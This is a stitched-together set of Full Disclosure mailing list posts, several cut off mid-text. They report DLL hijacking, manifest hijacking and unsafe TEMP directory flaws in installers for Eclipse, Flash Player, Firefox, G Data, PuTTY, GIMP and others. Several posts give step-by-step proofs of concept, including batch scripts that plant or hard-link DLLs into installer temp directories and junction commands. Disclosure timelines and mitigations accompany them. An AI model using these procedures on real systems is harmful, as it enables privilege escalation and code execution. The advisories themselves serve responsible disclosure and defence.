  extracts on x64 an embedded VMMap64.exe to %TEMP% which loads
%TEMP%\CLBCATQ.DLL (on Windows 2003),
%TEMP%\SETUPAPI.DLL (on Windows 2003),
%TEMP%\UXTHEME.DLL,
%TEMP%\VERSION.DLL (on Windows Vista and newer),
  and executes them with the callers credentials.

* ZoomIt.exe:
  extracts on x64 an embedded ZoomIt64.exe to %TEMP% which loads
%TEMP%\SETUPAPI.DLL (on Windows 2003),
%TEMP%\UXTHEME.DLL,
%TEMP%\VERSION.DLL (on Windows Vista and newer)
  and executes them with the callers credentials.


See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>,
<https://cwe.mitre.org/data/definitions/277.html>,
<https://cwe.mitre.org/data/definitions/379.html> and
<https://cwe.mitre.org/data/definitions/732.html> for these
WELL-KNOWN and WELL-DOCUMENTED vulnerabilities^Wbeginner's
errors!


Mitigations:


* Don't use these vulnerable utilities (or other crapware
  which runs executables from unsafe directories like %TEMP%)!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use
  <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak

[*] according to Microsoft's own SIR reports, more than half of
the Windows installations which send telemetry data have only
one active user account, i.e. some hundred million Windows
installations are susceptible to this design bug!


Timeline:
~

2015-11-02vulnerability report sent to author and vendor

  NO REPLY from author

2015-11-17vendor replies, opens MSRC case 31724

2016-01-29vendor replies, closes MSRC case 31724: WONTFIX

2016-08-11report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 37): eclipse-inst-win*.exe vulnerable to DLL redirection and manifest hijacking

[Stefan Kanthak]

Hi @ll,

this is a followup to "case 36" (posted as "case 35" by mistake),
<http://seclists.org/bugtraq/2016/Jul/82>.


Proof of concept #1:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the (empty) files "eclipse-inst-win32.exe.local" and
   "eclipse-inst-win64.exe.local" in the directory where you
   saved the downloaded installers:
  Copy NUL: eclipse-inst-win32.exe.local
  Copy NUL: eclipse-inst-win64.exe.local

3. Create empty files kernel32.dll, kernelbase.dll, advapi32.dll,
   msvcrt.dll, ..., version.dll in the directory where you saved
   the downloaded installers.

4. Execute the downloaded installers.

DOSSED!

5. Replace the empty DLLs created in step 3 with (malicious) DLLs
   of your choice.

6. Execute the downloaded installer which matches the processor
   architecture of the DLLs placed in step 5.

PWNED!


Proof of concept #2:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the subdirectories "eclipse-inst-win32.exe.local" and
   "eclipse-inst-win64.exe.local" in the directory where you
   saved the downloaded installers.

3. Copy any (malicious) DLL of your choice as kernel32.dll,
   kernelbase.dll, advapi32.dll, msvcrt.dll, ..., version.dll
   into the subdirectories created in step 2 (32-bit DLLs
   into "eclipse-inst-win32.exe.local", 64-bit DLLs into
   "eclipse-inst-win64.exe.local").

4. Execute the downloaded installers.

DOSSED or PWNED!


Proof of concept #3:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the junctions "eclipse-inst-win32.exe.local" and
   "eclipse-inst-win64.exe.local" in the directory where you
   saved the downloaded installers:
  MkLink /J eclipse-inst-win32.exe.local %SystemRoot%\System32
  MkLink /J eclipse-inst-win64.exe.local %SystemRoot%\SysWow64

3. Execute the downloaded installers.

DOSSED!

4. Create the two junctions to directories with malicious DLLs of
   your choice if you want to get pwned instead.

5. Execute the downloaded installers.

PWNED!


Proof of concept #4:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the files "eclipse-inst-win32.exe.manifest" and
   "eclipse-inst-win64.exe.manifest" with the following contents
   in the directory where you saved the downloaded installers:

   --- eclipse-inst-win*.exe.manifest ---
   
   
   
   --- EOF ---

3. Execute the downloaded installers.

DOSSED!


Proof of concept #5:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the files "eclipse-inst-win32.exe.manifest" and
   "eclipse-inst-win64.exe.manifest" with the following contents
   in the directory where you saved the downloaded installers:

   --- eclipse-inst-win*.exe.manifest ---
   
   
   
   
   
   
   
   
   
   --- EOF ---

3. Execute the downloaded installers:
   Windows "user account control" will prompt for elevation, all
   hijacked DLLs will be executed with administrative privileges.

PWNED!


Proof of concept #6:


1. On a 64-bit edition of Windows download the 32-bit and 64-bit
   executable installers "eclipse-inst-win32.exe" and
   "eclipse-inst-win64.exe", save them in an arbitrary directory.

2. Create the files "eclipse-inst-win32.exe.manifest" and
   "eclipse-inst-win64.exe.manifest" with the following contents
   in the directory where you saved the downloaded installers:

   --- eclipse-inst-win32.exe.manifest ---
   
   
   
   
   --- EOF ---

   --- eclipse-inst-win64.exe.manifest ---
   
   
   
   
   --- EOF ---

   Optionally add more  elements for other DLLs loaded by
   the installers as you like.

3. Execute the downloaded installers.

DOSSED!

4. Replace the UNC pathnames to your own host with UNC paths to
   any host reachable from your network where you placed some
   malicious DLLs to get pwned instead.

5. Execute the downloaded installers.

PWNED!

6. Add the  e

[FD] [CVE-2016-1014, CVE-2016-4247] Executable installers are vulnerable^WEVIL (case 35): Adobe's Flash Player (un)installers

[Stefan Kanthak]

Hi @ll,

the executable installers of Flash Player released 2016-06-15
fixed CVE-2016-1014 in the second attempt, but another vulnerability
remained: they create(d) and use(d) UNSAFE temporary subdirectories
into which they copy/ied themselves and extract(ed) a file "fpb.tmp"
which they load(ed) and execute(d) later with elevated privileges.

An unprivileged user can/could overwrite both files between creation
and execution and gain elevation of privilege.

See <https://cwe.mitre.org/data/definitions/379.html> for this type
of well-known and well-documented vulnerability!


stay tuned
Stefan Kanthak


Timeline:
~

2016-03-12initial report sent to Adobe PSIRT

2016-03-13Adobe PSIRT acknowledges vulnerability and assigns
  PSIRT-4904

2016-04-06Adobe PSIRT informs about CVE assigned and upcoming
  fix scheduled for release later that week

2016-04-17notification sent to Adobe PSIRT: fix is incomplete,
  vulnerability persists

2016-04-17Adobe PSIRT acknowledges receipt of second report

2016-04-17Adobe PSIRT acknowledges vulnerability ... again

2016-06-17Adobe released fixed Flash Player (un)installers,
  report for CVE-2016-1014 published

2016-06-17new report sent to Adobe PSIRT: unsafe TEMP
  directory allows escalation of privilege

2016-06-17Adobe PSIRT acknowledges receipt

2016-06-17Adobe PSIRT acknowledges vulnerability and assigns
  PSIRT-5480

2016-07-10Adobe PSIRT informs about CVE assigned and upcoming
  fix scheduled for release later this week

2016-07-12Adobe released fixed Flash Player (un)installers,
  report for CVE-2016-4247 published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 34): Microsoft's vs-community-*.exe susceptible to DLL hijacking

[Stefan Kanthak]

Hi @ll,

the executable installer for Microsoft's Visual Studio 2015
Community Edition, available from <https://www.visualstudio.com/>,
is vulnerable to DLL hijacking: on a fully patched Windows 7 SP1
it loads the following DLLs from its "application directory"
instead of Windows' "system directory":
Version.dll, AppHelp.dll, NTMARTA.dll, CryptSP.dll, RPCRTRemote.dll

Additionally it loads API-MS-Win-Downlevel-ShlWAPI-L2-1-0.dll from
the PATH.

See <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0148>
or <https://technet.microsoft.com/library/security/MS16-041> and
<https://www.securify.nl/advisory/SFY20160201/_net_framework_4_6_allows_side_loading_of_windows_api_set_dll.html>
for a similar vulnerability.


stay tuned
Stefan Kanthak


Timeline:
~

2016-06-01sent vulnerability report to vendor plus US-CERT

  NO RESPONSE from vendor, not even an acknowledgement
  of receipt

2016-06-07US-CERT tells me that Microsoft informed them that
  they won't act on this report

  still no response from vendor

2016-07-01report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2016-1014] Escalation of privilege via executable (un)installers of Flash Player

[Stefan Kanthak]

Hi @ll,

the executable (un)installers for Flash Player before version
22.0.0.192 and 18.0.0.360 (both released on 2016-06-15) are
vulnerable to DLL hijacking: they load and execute multiple
Windows system DLLs from their "application directory" instead
of Windows' "system directory" %SystemRoot%\System32\.

On Windows 7 and before they also (try to) load PCACli.dll and
API-MS-Win-Downlevel-Shell32-l1-1-0.dll from the PATH:
PCACli.Dll and API-MS-Win-Downlevel-Shell32-l1-1-0.dll are not
present there, these DLLs were first shipped with Windows 8.

On Windows XP and before they additionally try to load DWMAPI.dll,
PropSys.dll, DevRtl.dll and RPCRTRemote.dll from the PATH: these
DLLs were first shipped with Windows Vista.


See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> and
<https://capec.mitre.org/data/definitions/471.html> for details
about this well-known and well-documented beginner's error!


Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the installers are run with
administrative privileges ("protected" administrators are prompted
for consent, unprivileged standard users are prompted for an
administrator password); execution of the DLLs therefore results
in an escalation of privilege!


Proof of concept/demonstration:
~~~

1. visit (and read) <http://home.arcor.de/skanthak/sentinel.html>,
   then download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   and save it as PCACli.dll, API-MS-Win-Downlevel-Shell32-l1-1-0.dll,
   DWMAPI.dll, RPCRTRemote.dll, OLEAcc.dll, PSAPI.dll, SetupAPI.dll,
   ClbCatQ.dll, WSock32.dll, WS2_32.dll, HNetCfg.dll, DNSAPI.dll,
   IPHlpAPI.dll, RASAPI32.dll, SensAPI.dll, RASAdHlp.dll, RASMan.dll
   plus UserEnv.dll, COMRes.dll, WS2Help.dll, TAPI32.dll, RTUtils.dll
   SAMLib.dll and WinMM.dll in your "Downloads" directory;

2. fetch the (un)installers for Flash Player released before 2016-06-15
   from Adobe's web site and save them in your "Downloads" directory;

3. run the (un)installers downloaded in step 2 and notice the message
   boxes displayed from the DLLs placed in step 1.

PWNED!


JFTR: since the (un)installers are 32-bit programs and (un)install
  both the 32-bit and 64-bit versions of Flash Player this POC
  works on 64-bit Windows too.


stay tuned
Stefan Kanthak


Timeline:
~

2016-03-12first vulnerability report sent to Adobe

2016-03-13Adobe acknowledged the receipt

2016-04-06Adobe informed about the upcoming patch to be released
  2016-04-07 and the assignment of CVE-2016-1014

2016-04-17second vulnerability report sent to Adobe: the "fixed"
  (un)installers are still vulnerable, they just load
  some other DLLs now

2016-04-20Adobe confirmed the second report and announced to fix
  the vulnerability in the June update

2016-06-15Adobe released fixed (un)installers

2016-06-17report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2014-1520] NOT FIXED: privilege escalation via Mozilla's executable installers

[Stefan Kanthak]

Hi @ll,

<https://bugzilla.mozilla.org/show_bug.cgi?id=961676> should
have fixed CVE-2014-1520 in Mozilla's executable installers for
Windows ... but does NOT!

JFTR: this type of vulnerability (really: a bloody stupid trivial
  beginner's error!) is well-known and well-documented as
  <https://cwe.mitre.org/data/definitions/379.html>.


Proof of concept/demonstration:
~~~

0. download "Firefox Setup Stub 47.0.exe", "Firefox Setup 47.0.exe",
   "Firefox Setup 45.2.0esr.exe" or "Thunderbird Setup 45.1.1.exe"
   and save them in an arbitrary directory;

1. download <http://home.arcor.de/skanthak/download/SHFOLDER.DLL>
   plus <http://home.arcor.de/skanthak/download/SENTINEL.EXE> and
   save them in an(other) arbitrary directory;

2. start your editor, copy and paste the following 10 lines and
   save them as "POC.CMD" in the same directory as "SHFOLDER.DLL"
   and "SENTINEL.EXE" downloaded in step 1:

:WAIT1
@If Not Exist "%TEMP%\7z*.tmp" Goto :WAIT1
For /D %%! In ("%TEMP%\7z*.tmp") Do Set foobar=%%!
Copy "%~dp0shfolder.dll" "%foobar%\shfolder.dll"
:WAIT2
@If Not Exist "%foobar%\core\maintenanceservice.exe" Goto :WAIT2
Copy "%~dp0sentinel.exe" "%foobar%\core\maintenanceservice.exe"
:WAIT3
@If Not Exist "%foobar%\core\maintenanceservice_installer.exe" Goto :WAIT3
Copy "%~dp0sentinel.exe" "%foobar%\core\maintenanceservice_installer.exe"

3. execute the batch script "POC.CMD" created in step 2;

4. execute "Firefox Setup Stub 47.0.exe", "Firefox Setup 47.0.exe",
   "Firefox Setup 45.2.0esr.exe" or "Thunderbird Setup 45.1.1.exe"
   downloaded in step 0. and proceed as directed: notice the message
   boxed displayed from the copies of "SHFOLDER.DLL" and "SENTINEL.EXE"
   placed by the batch script started in step 3 in the unsafe TEMP
   subdirectory created by Mozilla's vulnerable executable installers!

PWNED!


Mitigation(s):
~~

0. don't use executable installers. DUMP THEM, NOW!

1. see <http://home.arcor.de/skanthak/!execute.html> as well as
   <http://home.arcor.de/skanthak/SAFER.html>.

2. stay away from Mozilla's vulnerable installers for their Windows
   software (at least until Mozilla starts to develop a sense for
   the safety and security of their users).


stay tuned
Stefan Kanthak


Timeline:
~

2015-10-25<https://bugzilla.mozilla.org/show_bug.cgi?id=1218199>

  not even an attempt to fix this vulnerability (check but
  
<https://blog.mozilla.org/blog/2015/10/23/mozilla-launches-open-source-support-program/>)

2016-04-30<https://bugzilla.mozilla.org/show_bug.cgi?id=1269111>
  <https://bugzilla.mozilla.org/show_bug.cgi?id=1269113>
  <https://bugzilla.mozilla.org/show_bug.cgi?id=1269122>
  <https://bugzilla.mozilla.org/show_bug.cgi?id=1269123>
  <https://bugzilla.mozilla.org/show_bug.cgi?id=1269142>
  <https://bugzilla.mozilla.org/show_bug.cgi?id=1269144>

  not even an attempt to fix this vulnerability (check but
  
<https://blog.mozilla.org/blog/2016/06/09/help-make-open-source-secure/>)

2016-06-15deadline expired after 45 days, report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 40): seven+ year old "blended" threat still alive and kicking

[Stefan Kanthak]

e NTFS ACE (D;OIIO;WP;;;WD) meaning
  "deny execution of files in this directory and below for
  everyone",

* via SAFER alias software restriction policies (see
  <http://home.arcor.de/skanthak/SAFER.html> or
  <http://www.mechbgon.com/srp/index.html> for instructions, and
  <https://technet.microsoft.com/en-us/library/aa940985.aspx>
  for Microsoft's recommendation).


stay tuned
Stefan Kanthak


Timeline:
~

2016-03-18report for control.exe sent to vendor

2016-03-18vendor replies: case 32934 opened, we'll keep you
  informed

2016-03-19report for explorer.exe sent to vendor

2016-03-21vendor replies: case 32947 opened, we'll keep you
  informed

  NO INFORMATION SENT SINCE THEN

2016-05-02status requests sent to vendor

  NO REPLY

2016-05-28report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Mozilla doesn't care for upstream security fixes, and doesn't bother to send own security fixes upstream

[Stefan Kanthak]

Hi @ll

despite better knowledge and MULTIPLE bug/vulnerability reports
(see <https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,
<https://bugzilla.mozilla.org/show_bug.cgi?id=809373>, 
<https://bugzilla.mozilla.org/show_bug.cgi?id=579593>, ...)
Mozilla continues to ship Firefox and Thunderbird for Windows with
a vulnerable executable installer.


Proof of concept/demonstration:
~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
   it as ShimEng.dll in your "Downloads" folder, then copy it as
   WinMM.dll, SetupAPI.dll, MSACM32.dll, UXTheme.dll, DWMAPI.dll,
   ShFolder.dll, RichEd20.dll, ClbCatQ.dll, COMRes.dll, Version.dll,
   SAMCli.dll, SFC.dll, SFC_OS.dll, UserEnv.dll, ProfAPI.dll, MPR.dll,
   NTMarta.dll, Secur32.dll and CryptSP.dll

2. download any full-package installer for Firefox or Thunderbird
   from <https://ftp.mozilla.org/pub/firefox/releases/.../win32/...>
   or <https://ftp.mozilla.org/pub/thunderbird/releases/.../win32/...>
   (these are self-extractors built with 7-zip)

3. extract setup.exe from the downloaded self-extractor and save it
   in your "Downloads" folder, for example using the command line
  7za.exe x  setup.exe

   (or start the downloaded self-extractor, find the temporary
   subdirectory 7z*.tmp it created below %TEMP% and copy setup.exe
   from this subdirectory to your "Downloads" folder)

4. execute the extracted/copied setup.exe and notice the message
   boxes displayed from the DLL(s) downloaded in step 1:

PWNED!


See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the
well-known and well-documented DLL search path vulnerability.


Mitigation:
~~~
Stay away from Mozilla's crapware until Mozilla starts to develop
a sense for the basics of software engineering as well as the safety
and security of their users^Wvictims: the authors of the 3rd party
installer fixed these vulnerabilities about 4 months ago!


JFTR: the vulnerable executable installer is not the only outdated
  3rd party component used to build Firefox and Thunderbird!
  Mozilla even uses different versions of this vulnerable
  executable installer for Firefox and Firefox ESR.


See <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/>
why you should NEVER name any executable (installer) setup.exe!


stay tuned
Stefan Kanthak


PS: Mozilla fixed the same vulnerabilities in their executable self-
extractor long ago (see for example
<https://bugzilla.mozilla.org/show_bug.cgi?id=792106> or
<https://bugzilla.mozilla.org/show_bug.cgi?id=883165>), but
apparently did not send their fixes to the author of this tool.

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 33): GData's installers allow escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installers of G-Data's "security" products for
Windows, available from <https://www.gdata.de/downloads>, allow
escalation of privilege!


The downloadable executables are self-extractors containing the
real executable installer as resource: they create the subdirectory
%TEMP%\{guidguid-guid-guid-guid-guidguidguid}
using another resource containing the hardcoded value of this GUID,
extract the real executable installer into it and finally start it.

The permissions of this subdirectory allow "full access" for the
unprivileged user who started the self-extractor, enabling him to
create arbitrary files in this subdirectory.

The real installer loads multiple Windows system DLLs from this
subdirectory instead of Windows' "system directory"
%SystemRoot%\System32\ and executes them with elevated rights.


On Windows 7:
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,
samcli.dll


See <https://cwe.mitre.org/data/definitions/379.html> for the well-
known and well-documented unsafe TEMP directory vulnerability, and
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the well-
known and well-documented unsafe DLL search path vulnerability.


Proof of concept/demonstration:
~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
   it in your "Downloads" directory;

2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>
   and save it in your "Downloads" directory (the resulting file
   is named G_DATA_AntiVirus.exe);

3. create the following file as SENTINEL.CMD in your "Downloads"
   directory:

--- SENTINEL.CMD---
G_DATA_AntiVirus.exe

:LOOP
If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" 
Goto :LOOP

For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do 
MkLink /H
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"
--- EOF ---

4. run the batch script per double-click: it starts the downloaded
   self-extractor and plants the DLLs for hijacking;

5. notice the message boxes displayed from the DLLs.

PWNED!


stay tuned
Stefan Kanthak


PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to better stay away from it!


Timeline:
~

2016-06-03initial report sent to vendor: they provided their
  real installers for download, allowing DLL hijacking
  in the users "Downloads" directory

2016-03-06vendor acknowledges receipt:
  "At the moment we are exploring the best way to fix it."

2016-04-13reply from vendor:
  "We replaced all installers and tools in the download
   area with secure versions."

2016-04-17No, these "installers" are NOT secure, they use UNSAFE
  temp directories and just shift the attack vector a
  tiny little bit.

2016-04-18reply from vendor:
  "We assume that this is pure speculation."

2016-04-18OUCH!
  <https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,
  
<https://code.google.com/p/google-security-research/issues/detail?id=440>

2016-04-18reply from vendor:
  "the attacker needs access to the system for that."

2016-04-18report published


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Windows Mail Find People DLL side loading vulnerability

[Stefan Kanthak]

"Securify B.V." wrote:

> 
> Windows Mail Find People DLL side loading vulnerability
> 
> Yorick Koster, September 2015

[...]

> - CVE-2016-0100
> - MS16-025: Security Update for Windows Library Loading to Address
> Remote Code Execution (3140709)
> 
> 
> Tested versions
> 
> This issue was successfully verified on Windows Vista + Office 2010
> 32-bit.

This vulnerability demonstrates Microsoft's terrible SLOPPY coding
horror^Wpractice: it needs two mistakes to create this kind of bug!

"%CommonProgramFiles%\System\wab32res.dll" is (as its name implies)
a resource DLL, which means that it contains no code, but only
(localized) resources, and SHOULD (better: MUST) be loaded via
LoadLibraryEx("%CommonProgramFiles%\System\wab32res.dll", NULL, 
LOAD_LIBRARY_AS_DATAFILE)
to avoid the call of its DllMain() startup code!
See 

JFTR: LOAD_LIBRARY_AS_DATAFILE was introduced in the last millennium!

Either
LoadLibrary("%CommonProgramFiles%\System\wab32res.dll")
or
LoadLibraryEx("wab32res.dll", NULL, LOAD_LIBRARY_AS_DATAFILE)
were sufficient to avoid this vulnerability.

> 
> Fix
> 
> Microsoft released MS16-025 that fixes this vulnerability.

Have you checked how Microsoft fixed it?
Did they exercise all due diligence now, practised defense in depth
and replaced the call to
LoadLibrary("wab32res.dll")
with a call to
LoadLibraryEx("%CommonProgramFiles%\System\wab32res.dll", NULL, 
LOAD_LIBRARY_AS_DATAFILE)?

> 
> Details
> 
> https://www.securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html


regards
Stefan

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 29): putty-0.66-installer.exe allowa arbitrary (remote) code execution WITH escalation of privilege

[Stefan Kanthak]

Hi,

putty-0.66-installer.exe loads and executes DWMAPI.dll or
UXTheme.dll from its "application directory".


For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.


If an attacker places one of the above named DLL in the user's
"Downloads" directory (for example per "drive-by download"
or "social engineering") this vulnerability becomes a remote
code execution.


Proof of concept/demonstration:
~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it
   as UXTheme.dll in your "Downloads" directory, then copy it as
   DWMAPI.dll;

2. download putty-0.66-installer.exe and save it in your
   "Downloads" directory;

3. execute putty-0.66-installer.exe from your "Downloads"
   directory;

4. notice the message boxes displayed from the DLLs placed in
   step 1.

PWNED!


See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/32> plus
<http://home.arcor.de/skanthak/!execute.html> and
<http://home.arcor.de/skanthak/sentinel.html> for details about
this well-known and well-documented BEGINNER'S error!  


stay tuned
Stefan Kanthak


Timeline:
~

2015-12-24sent vulnerability report to author

  NO REPLY, not even an acknowledgement of receipt

2016-01-02resent vulnerability report to author

  NO REPLY, not even an acknowledgement of receipt

2016-03-01report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 4): InstallShield's wrapper and setup.exe

[Stefan Kanthak]

quot;%USERPROFILE%" as well as
   "%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows
   doesn't place executables in these directories and beyond.

   See <http://home.arcor.de/skanthak/safer.html> as well as
   <http://mechbgon.com/srp/> plus
   <http://csrc.nist.gov/itsec/SP800-68r1.pdf>,
   
<https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf>
   or <https://books.google.de/books?isbn=1437914926> and finally
   <http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>!


stay tuned
Stefan Kanthak


PS: see <http://seclists.org/fulldisclosure/2015/Nov/101> (resp. the
not yet finished <http://home.arcor.de/skanthak/!execute.html>)
for more details!

PPS: the case numbers are not in chronological order.


[°] Self-extracting archives and executable installers are flawed^W
b(rainde)ad in concept and dangerous in practice.

DON'T USE SUCH CRUFT!
ALWAYS use the resp. target platforms native package and archive
format.

For Windows these are .INF (plus .CAB) and .MSI (plus .CAB),
introduced 20 years ago (with Windows 95 and Windows NT4) resp.
16 years ago (with Office 2000).

Both .INF and .MSI are "opened" by programs residing in
%SystemRoot%\System32\ which are therefore immune to this kind
of "DLL and EXE Search Order Hijacking" attack.
Since both .INF and .MSI access the contents of .CAB directly
they eliminate the attack vector "unsafe temporary directory"
too.

['] A well-known (trivial, easy to exploit and easy to avoid)´and
well-documented vulnerability: see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>

[²] Another well-known (trivial, easy to exploit and easy to avoid)
and well-documented vulnerability: see
<https://cwe.mitre.org/data/definitions/377.html>,
<https://cwe.mitre.org/data/definitions/379.html>,
<https://capec.mitre.org/data/definitions/27.html>,
<https://capec.mitre.org/data/definitions/29.html> ...


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 26): the installer of GIMP for Windows allows arbitrary (remote) and escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installer gimp-2.8.16-setup-1.exe (and of course
older versions too) available from <http://www.gimp.org/downloads/>
loads and executes UXTheme.dll from its "application directory".

For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and http://seclists.org/fulldisclosure/2012/Aug/134 for "prior art"
about this well-known and well-documented vulnerability.


If an attacker places UXtheme.dll in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.


Proof of concept/demonstration:
~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
   it as UXTheme.dll in your "Downloads" directory;

2. download gimp-2.8.16-setup-1.exe from <http://www.gimp.org/downloads/>
   and save it in your "Downloads" directory;

3. run gimp-2.8.16-setup-1.exe from the "Downloads" directory;

4. notice the message boxes displayed from UXTheme.dll placed in
   step 1.

PWNED!


See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/33> and
<http://seclists.org/fulldisclosure/2015/Dec/86> as well as
<http://home.arcor.de/skanthak/!execute.html> and
<http://home.arcor.de/skanthak/sentinel.html> for details about
this well-known and well-documented BEGINNER'S error!


Additionally the installer creates and uses an UNSAFE temporary
directory %TEMP%\is-.temp\.


stay tuned
Stefan Kanthak


Timeline:
~

2016-01-29sent vulnerability report

  NO REPLY, not even an acknowledgement of receipt

2016-02-11resent vulnerability report

  NO REPLY, not even an acknowledgement of receipt

2016-02-23report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2016-0602, CVE-2016-0603] Executable installers are vulnerable^WEVIL (case 24): Oracle Java 6/7/8 SE and VirtualBox

[Stefan Kanthak]

Hi @ll,

the installers or Oracle's Java 6/7/8 for Windows and VirtualBox for
Windows load and execute several DLLs from their "application directory".

* The online installer jxpiinstall.exe:
  UXTheme.dll and RASAdHlp.dll plus
